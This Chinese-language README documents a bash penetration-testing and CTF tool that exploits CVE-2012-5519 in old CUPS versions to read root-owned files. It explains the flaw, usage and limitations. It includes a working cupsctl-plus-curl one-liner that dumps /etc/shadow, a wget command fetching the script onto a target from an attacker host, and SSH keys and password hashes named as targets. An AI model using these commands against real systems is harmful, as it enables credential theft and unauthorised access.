
cups-root-file-read.sh | CVE-2012-5519
一个针对渗透测试和CTF的bash实现,基于metasploit的'cups_root_file_read.rb'模块。
主要是bash脚本的一个简短练习。旨在成为一个自包含的程序,用于在Linux系统上利用CVE-2012-5519;
它为用户提供一个交互式提示,允许他们快速读取多个受限文件。
该脚本利用了CUPS(通用UNIX打印系统)< 1.6.2 中的一个漏洞。
CUPS允许lpadmin组内的用户使用cupsctl命令更改cupsd.conf文件。
此命令还允许用户指定一个ErrorLog路径。
当用户访问'/admin/log/error_log页面'时,以root SUID运行的cupsd守护进程读取ErrorLog路径并以明文形式回显。
简而言之,如果ErrorLog路径指向root用户拥有的文件,则可以读取这些文件。
脚本在将提示符传递给用户之前会进行多项检查;但所有先决条件包括:
wget或nc。cupsctl命令是否可用等。假定该脚本将用于渗透测试和CTF活动。将脚本放置在目标机器上。可以通过多种方式完成。一种常见的方法是从目标机器上执行:
wget http://[我的IP]:[我的端口]/cups-root-file-read.sh
cups-root-file-read.sh 不需要任何参数或标志,但有两个可选参数:
./cups-root-file-read.sh -h
./cups-root-file-read.sh 运行时不需任何参数。
目前仅支持交互模式。
用法:./cups-root-file-read.sh [-a|--accessible] [-h|--help]
-a, --accessible: 关闭可能对屏幕阅读器产生负面影响的特性。
-h, --help: 打印此对话框消息。
在通过所有必要的漏洞利用检查后,
系统将提示用户输入。
输入要读取的文件的完整路径。
例如:
1. /root/.ssh/id_rsa
2. /root/.bash_history
3. /etc/shadow 等...
运行方式:
bash cups-root-file-read.sh
或
chmod +x cups-root-file-read.sh
./cups-root-file-read.sh
或者如果你只想读取单个文件:
echo '/etc/shadow' | ./cups-root-file-read.sh
在通过初始功能和漏洞检查后,用户会获得一个提示,允许他们输入现有文件的绝对路径。每个文件的内容将打印到终端。
虽然该脚本可用于测试受限文件并读取它们,但如果用户已经知道他们可能想查看的受限文件存在,则更有用。例如:
该脚本和漏洞利用存在一些限制。据我所知,metasploit的'cups_root_file_read.rb'模块也存在同样的限制。
用户提交的内容必须是目标文件的绝对路径,并且文件或路径中不能包含任何空白字符。这是因为cupsctl命令即使使用引号(例如 ErrorLog='/path to/file.txt')也无法正确处理空白字符,它会将输入在空白字符处分割成单独的指令,并附上布尔值'true'。
上面的例子如果被提交,将写入cupsd.conf文件为:
ErrorLog=/path
to/file.txt=true
这会导致错误被写入错误日志,而如果之前成功读取文件时ErrorLog路径被设置为重要文件,这些错误可能会覆盖这些文件。因此,脚本会检查空白字符并过滤掉。
尽管脚本做了检查以确保用户提交的内容看起来像绝对路径和文件,但并非所有错误都能在通过cupsctl命令传递到服务器之前被捕获:
可以读取根目录下的文件(例如'/file.txt'),但常见的UNIX目录如'/tmp'和'/root'也可能被提交(无论是故意还是由于用户错误)。脚本没有捕获这样的系统目录,它们会从服务器返回404状态码。用户会被告知这些情况。
路径中指定的不存在的目录(例如'/tmp/non-existent-directory/file.txt')也会导致服务器返回404状态码。
尝试查看不存在的文件(例如'/root/non-existent-file.txt')会导致它们被创建为新的错误日志。用户会在输出中得知,并且如果该文件事先不存在,则可能是由利用脚本创建的。这些空文件也有可能是在脚本运行的同一时间由系统用户出于某种目的创建的,因此不会清理它们。
虽然Linux有命令可以测试文件或目录是否存在,但脚本在将用户输入传递给cupsctl命令之前并未实现此功能,因为如果文件或目录存在于对当前用户禁止访问的位置(如'/root'),测试命令显然无法正常工作,这是出于安全原因。由于脚本旨在读取此类受限文件,这样的功能将毫无意义。
有时在进行更改时,无论是手动还是通过cups-root-file-read.sh,都可能发生cupsctl错误。虽然cups-root-file-read.sh处理了一些异常的用户输入和错误,但在修改cupsd.conf文件或请求网页时发生的cupsctl错误并未被处理。cups-root-file-read.sh只会直接退出。在这种情况下,可以重新启动脚本并再次尝试。
该脚本主要是为了创建一个简短、全面、自包含的程序,用于单个漏洞利用,同时兼顾可读性和可访问性。
该脚本旨在测试CVE-2012-5519的存在,然后在利用过程中快速轻松地读取多个受限文件。为此,我认为它比metasploit模块和手动输入命令并反复编辑要快得多(希望如此)。但话虽如此,如果用户知道目标机器存在漏洞,也可以通过类似以下命令达到相同效果:
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'
截至2022年,这个漏洞已经有10年了。如果目标机器也很老旧,那么脚本中使用的各种命令的版本可能不具备现在拥有的功能。这可能也适用于bash的版本。不幸的是,我时间有限,无法在更广泛的环境中测试该脚本。它可能对CTF更有用。
最初该脚本打算用python3编写,但我在很多情况下发现,以非特权用户身份访问系统后,python2和python3都不可用。bash在Linux系统上几乎总是可用的,常见的Linux命令也是如此,因此使用bash实现似乎是更安全的选择。
脚本尽可能使用bash内置命令,但依赖一些外部命令,如sort、head和curl(当然还有作为漏洞利用一部分的cupsctl)。由于时间限制,目前没有对这些命令进行检查,也没有替代方案。如果这些命令不可用,脚本将失败 :(
https://argbash.io - 对初始脚本参数的帮助。
https://skerritt.blog/a11y/ - 无障碍实现。